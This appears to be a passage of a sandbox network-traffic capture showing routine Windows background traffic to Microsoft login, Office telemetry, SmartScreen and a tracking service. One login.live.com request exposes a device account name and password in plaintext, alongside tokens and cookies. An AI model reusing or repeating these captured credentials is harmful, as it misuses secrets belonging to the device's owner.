2024-11-19 23:19:22 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 23:19:22 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:22 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 3e33f32d-19f1-4e0c-a400-6d5b24743931 PPServer: PPV: 30 H: PH1PEPF0001B89F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:22 GMT Connection: close Content-Length: 1276
2024-11-19 23:19:22 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49788	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-19 23:19:22 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 73 65 61 6b 6d 69 6e 79 6d 61 6a 71 6e 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 69 45 7e 74 60 4a 44 72 62 42 34 4f 6d 44 69 4f 33 62 2b 38 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02seakminymajqnq</Membername><Password>iE~t`JDrbB4OmDiO3b+8</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-19 23:19:25 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 19 Nov 2024 23:18:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: f3356d6a-e50f-4494-9276-33f90a16214b PPServer: PPV: 30 H: SN1PEPF0002F994 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:24 GMT Connection: close Content-Length: 17166
2024-11-19 23:19:25 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 36 42 35 46 37 30 44 39 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 63 61 35 36 38 30 36 32 2d 34 65 32 61 2d 34 36 37 35 2d 61 30 32 63 2d 66 66 62 64 64 35 36 35 30 61 38 66 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001800116B5F70D9</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="ca568062-4e2a-4675-a02c-ffbdd5650a8f" LicenseID="3252b20c-d425-4711
2024-11-19 23:19:25 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-185f5d8b95csd4bwhC1NYCq7dc000000097000000000tf65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-185f5d8b95c95vpshC1NYC759c00000009g0000000001bds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-185f5d8b95cx9g8lhC1NYCtgvc00000001t0000000009e05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-r1d97b9957744xz5hC1TEB5bf800000007y0000000008awk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-r1d97b99577sdxndhC1TEBec5n0000000850000000009pdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49755	13.32.110.123	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	925	OUT	GET /b?rn=1732058361925&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=045B60278D93687D3610751B8C3B691E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:22 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 19 Nov 2024 23:19:22 GMT Location: /b2?rn=1732058361925&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=045B60278D93687D3610751B8C3B691E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1E6343578bd7e9f5e585aef1732058362; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1E6343578bd7e9f5e585aef1732058362; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 dcb9765526b3272617b95932c8fefee2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: VIE50-C2 X-Amz-Cf-Id: 7K-XA338ULqfjdBSdgxFl4cRVunoizOz7j4rX6aIYkBVFTX0C1O2_g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49805	65.52.241.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiL3ZGV2dzOXlaOEk0UWk1d2cxdEZ4QT09IiwgImhhc2giOiJoQ0V5eW9saklyST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-19 23:19:22 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-19 23:19:23 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-19 23:19:23 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-r1d97b995778dpcthC1TEB4b5400000008100000000014uc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
